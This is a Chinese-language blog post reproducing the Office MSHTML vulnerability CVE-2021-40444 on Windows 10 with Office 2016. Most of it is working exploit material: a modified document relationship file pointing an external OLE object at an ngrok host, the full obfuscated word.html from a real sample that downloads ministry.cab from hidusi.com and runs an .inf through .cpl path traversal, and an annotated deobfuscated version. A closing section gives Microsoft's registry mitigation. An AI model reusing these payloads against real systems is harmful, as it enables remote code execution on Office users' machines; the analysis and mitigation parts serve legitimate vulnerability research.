CVE-2021-40444漏洞复现

  1. 测试环境
  2. 漏洞成因
  3. 复现过程

测试环境

office 2016
windows 10 ver:1909

漏洞成因

和十年前的IE网马一样,IE自动安装新的插件导致该漏洞,以及office可以引用mshtml格式,导致排版引擎模板可执行

复现过程

(安了office 2016才有的CLSID,office 2010并没有)
这个漏洞是利用ie的COM口实现的。CLSID:edbc374c-5730-432a-b5b8-de94f0b57217

安了office 2010的win7

原样本地址:https://app.any.run/tasks/36c14029-9df8-439c-bba0-45f2643b0c70/#
修改word/_rels/document.xml,将hdusi.com改为自己的IP

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://3079-183-6-55-142.ngrok.io/word.html!x-usc:http://3079-183-6-55-142.ngrok.io/word.html" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/></Relationships>

或者直接用已经公开的exp生成:https://github.com/lockedbyte/CVE-2021-40444
效果如下

触发漏洞主要是word.html里的js和原版混淆的一样,只是改了远程请求链接

<!DOCTYPE html><html>    <head>        <meta http-equiv="Expires" content="-1">        <meta http-equiv="X-UA-Compatible" content="IE=11">    </head>    <body><!-- 这段js利用[]进行函数执行     --><!-- 重复的垃圾代码 -->        <script>            var a0_0x127f = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/championship.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/championship.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/championship.inf', '522415dmiRUA', 'http://hidusi.com/e8c76295a5f9acb7/ministry.cab', '88320wWglcB', 'XMLHttpRequest', 'championship.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', '<bo', 'HTMLElement', '/..', 'veXO', '102FePAWC'];            function a0_0x15ec(_0x329dba, _0x46107c) {                return a0_0x15ec = function(_0x127f75, _0x15ecd5) {                    _0x127f75 = _0x127f75 - 0xaa;                    var _0x5a770c = a0_0x127f[_0x127f75];                    return _0x5a770c;                }                ,                a0_0x15ec(_0x329dba, _0x46107c); //a0_0x15ec函数主要调用返回            }            (function(_0x59985d, _0x17bed8) { //_0x59985d -> a0_0x127f                var _0x1eac90 = a0_0x15ec;                while (!![]) {                    try {                        var _0x2f7e2d = parseInt(_0x1eac90(0xce)) + parseInt(_0x1eac90(0xd8)) * parseInt(_0x1eac90(0xc4)) + parseInt(_0x1eac90(0xc9)) * -parseInt(_0x1eac90(0xad)) + parseInt(_0x1eac90(0xb1)) + parseInt(_0x1eac90(0xcc)) + -parseInt(_0x1eac90(0xc1)) + parseInt(_0x1eac90(0xda));                        if (_0x2f7e2d === _0x17bed8) //判断两者数值是否等于384881,如果相等则break                            break;                        else                            _0x59985d['push'](_0x59985d['shift']()); //将a0_0x127f数组首位元素移动到数组尾部                    } catch (_0x34af1e) {                        _0x59985d['push'](_0x59985d['shift']());                    }                }            }(a0_0x127f, 0x5df71), //数组元素移动到尾部的算法            function() {                var _0x2ee207 = a0_0x15ec                  , _0x279eab = window                  , _0x1b93d7 = _0x279eab[_0x2ee207(0xb4)] //调用的a0_0x15ec函数 -> window.document                  , _0xcf5a2 = _0x279eab[_0x2ee207(0xb8)]['prototype']['createElement'] // -> Document.prototype.createElement                  , _0x4d7c02 = _0x279eab[_0x2ee207(0xb8)]['prototype'][_0x2ee207(0xe5)] // -> Document.prototype.write                  , _0x1ee31c = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xbe)] // -> HTMLElement.prototype.appendChild                  , _0x2d20cd = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xe3)] // -> HTMLElement.prototype.removeChild                  , _0x4ff114 = _0xcf5a2['call'](_0x1b93d7, _0x2ee207(0xac)); // -> Document.prototype.createElement.call(window.document,"iframe") -> <new iframe>                try {                    _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114); // -> HTMLElement.prototype.appendChild.call(window.document.body,<new iframe>) //添加iframe标签                } catch (_0x1ab454) {                    _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xae)], _0x4ff114);                }                var _0x403e5f = _0x4ff114[_0x2ee207(0xb6)]['ActiveXObject'] // -> <new iframe>.contentWindow.ActiveXObject                  , _0x224f7d = new _0x403e5f(_0x2ee207(0xc6) + _0x2ee207(0xbb) + 'le'); // -> new _0x403e5f('htmlfile') -> new ActiveXObject('htmlfijle')                _0x4ff114[_0x2ee207(0xde)]['open']()[_0x2ee207(0xe1)](); // -> <new iframe>.contentDocument.open().close()                var _0x371a71 = 'p';                try {                    _0x2d20cd[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114); // -> HTMLElement.prototype.removeChild.call(window.document.body,<new iframe>)                } catch (_0x3b004e) {                    _0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);                }                function _0x2511dc() {                    var _0x45ae57 = _0x2ee207;                    return _0x45ae57(0xcd);                }                _0x224f7d['open']()[_0x2ee207(0xe1)](); // -> _0x224f7d.open().close()  -> new ActiveXObject('htmlfijle').open().close()                var _0x3e172f = new _0x224f7d[(_0x2ee207(0xb3))][(_0x2ee207(0xd1)) + 'iveX' + (_0x2ee207(0xb9)) + (_0x2ee207(0xca))]('htm' + _0x2ee207(0xaf)); // -> new _0x224f7d.Script.ActiveXObject('htmlFile') -> new ActiveXObject('htmlfijle').Script.ActiveXObject('htmlFile')                _0x3e172f[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)](); // -> _0x3e172f.open().close()                var _0xd7e33d = 'c'                  , _0x35b0d4 = new _0x3e172f[(_0x2ee207(0xb3))]['Ac' + (_0x2ee207(0xdb)) + 'Ob' + 'ject']('ht' + _0x2ee207(0xe4) + _0x2ee207(0xe8)); // -> new _0x3e172f.Script.ActiveXObject('htmlFile')                _0x35b0d4[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)](); // -> _0x35b0d4.open().close()                var _0xf70c6e = new _0x35b0d4['Script'][(_0x2ee207(0xe2)) + (_0x2ee207(0xd7)) + (_0x2ee207(0xbc))]('ht' + 'mlF' + _0x2ee207(0xe8));                _0xf70c6e[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)](); // -> new _0x35b0d4.Script.ActiveXObject('htmlFile')                var _0xfed1ef = new ActiveXObject('htmlfile')                  , _0x5f3191 = new ActiveXObject(_0x2ee207(0xc0)) // new ActiveXObject('htmlFile')                  , _0xafc795 = new ActiveXObject(_0x2ee207(0xc0))                  , _0x5a6d4b = new ActiveXObject('htmlfile')                  , _0x258443 = new ActiveXObject('htmlfile')                  , _0x53c2ab = new ActiveXObject('htmlfile')                  , _0x3a627b = _0x279eab[_0x2ee207(0xcf)] //window.XMLHttpRequest                  , _0x2c84a8 = new _0x3a627b() // new window.XMLHttpRequest()                  , _0x220eee = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xd3)] //<XMLHttpRequest>.prototype.open                  , _0x3637d8 = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xbd)] //<XMLHttpRequest>.prototype.send                  , _0x27de6f = _0x279eab['setTimeout']; //window.XMLHttpRequest.setTimeout                _0x220eee[_0x2ee207(0xb5)](_0x2c84a8, _0x2ee207(0xc2), _0x2511dc(), ![]), //<XMLHttpRequest>.prototype.open.call(<XMLHttpRequest>,'GET','http://hidusi.com/e8c76295a5f9acb7/ministry.cab',![])                _0x3637d8[_0x2ee207(0xb5)](_0x2c84a8),//<XMLHttpRequest>.prototype.send.call(<XMLHttpRequest>,)                _0xf70c6e[_0x2ee207(0xb3)][_0x2ee207(0xb4)][_0x2ee207(0xe5)](_0x2ee207(0xd4) + 'dy>'); //_0xf70c6e.Script.document.write('<body>')                var _0x126e83 = _0xcf5a2[_0x2ee207(0xb5)](_0xf70c6e['Script'][_0x2ee207(0xb4)], 'ob' + 'je' + 'ct'); //Document.prototype.createElement.call(_0xf70c6e.Script.document,'object')                _0x126e83[_0x2ee207(0xeb)]('co' + 'de' + 'ba' + 'se', _0x2511dc() + _0x2ee207(0xaa)); //_0x126e83.setAttribute(codebase,'http://hidusi.com/e8c76295a5f9acb7/ministry.cab#version=5,0,0,0')                var _0x487bfa = 'l';                _0x126e83[_0x2ee207(0xeb)]('c' + 'la' + _0x2ee207(0xab) + 'd', 'CL' + 'SI' + _0x2ee207(0xd2)), //_0x126e83.setAttribute('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217')                _0x1ee31c[_0x2ee207(0xb5)](_0xf70c6e[_0x2ee207(0xb3)]['document']['body'], _0x126e83), //HTMLElement.prototype.appendChild.call(_0xf70c6e.Script.document.body,_0x126e83)                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',                <!-- 重复垃圾代码分割线 -->                //_0xfed1ef.Script.location='.cpl:123'                _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef['Script']['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',                <!-- 重复垃圾代码分割线 -->                _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + '/.' + _0x2ee207(0xc5) + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb)                <!-- 重复垃圾代码分割线2 -->                //_0xfed1ef.Script.location=='.cpl:../../../AppData/Local/Temp/Low/championship.inf',                _0x5f3191[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + _0x2ee207(0xe0) + 'a/Lo' + 'ca' + _0x2ee207(0xc7) + 'em' + 'p/championship.inf',                _0xafc795[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + './../A' + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + 'w/championship.inf',                _0x5a6d4b[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + _0x2ee207(0xe9) + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + 'Dat' + _0x2ee207(0xb2) + 'ca' + 'l/T' + 'em' + _0x2ee207(0xc3),                _0x258443[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + _0x2ee207(0xdd) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),                _0x5a6d4b['Script'][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '../' + '..' + '/.' + './../T' + 'em' + 'p/championship.inf',                _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xe9) + _0x2ee207(0xe9) + _0x2ee207(0xbf),                _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '../' + _0x2ee207(0xe9) + _0x2ee207(0xd0);                <!-- 重复垃圾代码分割线2 -->            }());        </script>    </body></html>

公开POC里的deob.html为作者解密混淆后写的

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Expires" content="-1">
        <meta http-equiv="X-UA-Compatible" content="IE=11">
    </head>
    <body>
        <script>
            function garbage() {
                return 'garbage';
            }
            (function exploit() {
                var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe'); //创建一个iframe标签的object
                try {
                    window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe); //当前body内容里添加iframe标签
                } catch (_0x1ab454) {
                    window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe);
                }
                var htmlfile = iframe['contentWindow']['ActiveXObject'] //实例化ActiveXObject
                  , htmlfile2 = new htmlfile('htmlfile'); //htmlfile就是一个COM版的DOM,也就是说,htmlfile是个ActiveX版的 window.document
                iframe['contentDocument']['open']()['close'](); //没有意义
                try {
                    window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe); //删除iframe标签
                } catch (_0x3b004e) {
                    window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe);
                }
                htmlfile2['open']()['close'](); //没有意义
                var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile');
                htmlfile3['open']()['close']();
                var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile');
                htmlfile4['open']()['close']();
                var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile');
                htmlfile5['open']()['close']();
                var ActiveXObjectVAR = new ActiveXObject('htmlfile')
                  , ActiveXObjectVAR2 = new ActiveXObject('htmlfile')
                  , ActiveXObjectVAR3 = new ActiveXObject('htmlfile')
                  , ActiveXObjectVAR4 = new ActiveXObject('htmlfile')
                  , ActiveXObjectVAR5 = new ActiveXObject('htmlfile')
                  , ActiveXObjectVAR6 = new ActiveXObject('htmlfile')
                  , XMLHttpR = new window['XMLHttpRequest']()
                  , XMLHttpRopen = window['XMLHttpRequest']['prototype']['open']
                  , XMLHttpRsend = window['XMLHttpRequest']['prototype']['send'];
                XMLHttpRopen['call'](XMLHttpR, 'GET', 'http://127.0.0.1/test.cab', ![]), //构造请求远程端的test.cab链接
                XMLHttpRsend['call'](XMLHttpR), //发送请求
                htmlfile5['Script']['document']['write']('body>');
                var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object'); //创建Scriptobject
                //下面这两步将会让IE自动请求远程的cab然后自动解压
                htmlScript['setAttribute']('codebase', 'http://127.0.0.1/test.cab#version=5,0,0,0'); //设定codebase属性值
                htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'), //设置CLSID
                window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript), //将scriptobject添加到body
                //逐个尝试用cpl从对应的路径中执行championship.inf文件(盲猜路径执行,总有一个能成)
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:123',
                ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
                ActiveXObjectVAR2['Script']['location'] = '.cpl:../../../AppData/Local/Temp/championship.inf',
                ActiveXObjectVAR3['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/championship.inf',
                ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/championship.inf',
                ActiveXObjectVAR5['Script']['location'] = '.cpl:../../../../../Temp/Low/championship.inf',
                ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../../Temp/championship.inf',
                ActiveXObjectVAR4['Script']['location'] = '.cpl:../../Low/championship.inf',
                ActiveXObjectVAR4['Script']['location'] = '.cpl:../../championship.inf'; //设置cpl执行championship.inf
            }());
        </script>
    </body>
</html>

调用XMLHttpRequest请求cab文件后 ,将自动解压到Temp目录,最后用cpl执行



参考链接:https://www.cnblogs.com/qguohog/archive/2013/01/25/2876828.html

动态执行分析如下:
->远程请求发起
->mshtml.dll解析js里的内容
->然后下载cab文件
->从IE的TEMP目录找到临时的cab文件解压到C:\Users\\AppData\Local\Temp
->最后control.exe将调用inf


复现GIF

修复方案:
这会将 64 位和 32 位进程的所有 Internet 区域的 URLACTION_DOWNLOAD_SIGNED_ACTIVEX (0x1001) 和 URLACTION_DOWNLOAD_UNSIGNED_ACTIVEX (0x1004) 设置为 DISABLED (3)。不会安装新的 ActiveX 控件。以前安装的 ActiveX 控件将继续运行。

如何撤消解决方法
将策略中的选项设置为Enable。
要通过 regkey 在单个系统上禁用 ActiveX 控件:
警告如果注册表编辑器使用不当,可能会导致严重的问题,可能需要重新安装操作系统。Microsoft 不能保证您可以解决因注册表编辑器使用不当而导致的问题。使用注册表编辑器风险自负。

要禁止在 Internet Explorer 中的所有区域安装 ActiveX 控件,请将以下内容粘贴到文本文件中并使用 .reg 文件扩展名保存:

Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:CVE-2021-40444漏洞复现

本文作者:九世

发布时间:2021-09-13, 16:25:37

最后更新:2021-09-13, 16:48:34

原始链接:http://jiushill.github.io/posts/3e27999a.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录